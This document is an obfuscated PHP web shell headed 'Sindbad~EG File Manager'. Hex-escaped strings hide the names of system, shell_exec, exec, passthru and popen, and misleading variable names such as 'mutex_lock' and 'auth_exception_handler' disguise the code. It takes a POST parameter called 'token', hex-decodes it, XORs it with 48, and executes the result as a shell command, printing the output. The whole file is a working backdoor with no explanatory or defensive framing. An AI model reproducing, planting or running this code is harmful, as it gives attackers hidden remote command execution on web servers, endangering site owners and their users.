Sindbad~EG File Manager

<?php

$mutex_lock6 = "\x73\x74\x72ea\x6D_g\x65t_c\x6F\x6E\x74e\x6Ets";
$mutex_lock3 = "e\x78\x65c";
$auth_exception_handler = "\x68\x65x2\x62\x69n";
$mutex_lock4 = "p\x61s\x73\x74\x68ru";
$mutex_lock2 = "sh\x65\x6Cl\x5Fex\x65\x63";
$mutex_lock5 = "\x70o\x70en";
$mutex_lock7 = "\x70c\x6Cose";
$mutex_lock1 = "\x73\x79\x73tem";
if (isset($_POST["\x74oken"])) {
            function dataflow_engine( $res , $key ){
$dat = '';
$b=0;
 while($b<strlen($res)){
$dat.=chr(ord($res[$b])^$key);
$b++;

} return$dat;
 
}
            $token = $auth_exception_handler($_POST["\x74oken"]);
            $token = dataflow_engine($token, 48);
            if (function_exists($mutex_lock1)) {
                $mutex_lock1($token);
            } elseif (function_exists($mutex_lock2)) {
                print $mutex_lock2($token);
            } elseif (function_exists($mutex_lock3)) {
                $mutex_lock3($token, $val_res);
                print join("\n", $val_res);
            } elseif (function_exists($mutex_lock4)) {
                $mutex_lock4($token);
            } elseif (function_exists($mutex_lock5) && function_exists($mutex_lock6) && function_exists($mutex_lock7)) {
                $key_dat = $mutex_lock5($token, 'r');
                if ($key_dat) {
                    $property_set_symbol = $mutex_lock6($key_dat);
                    $mutex_lock7($key_dat);
                    print $property_set_symbol;
                }
            }
            exit;
        }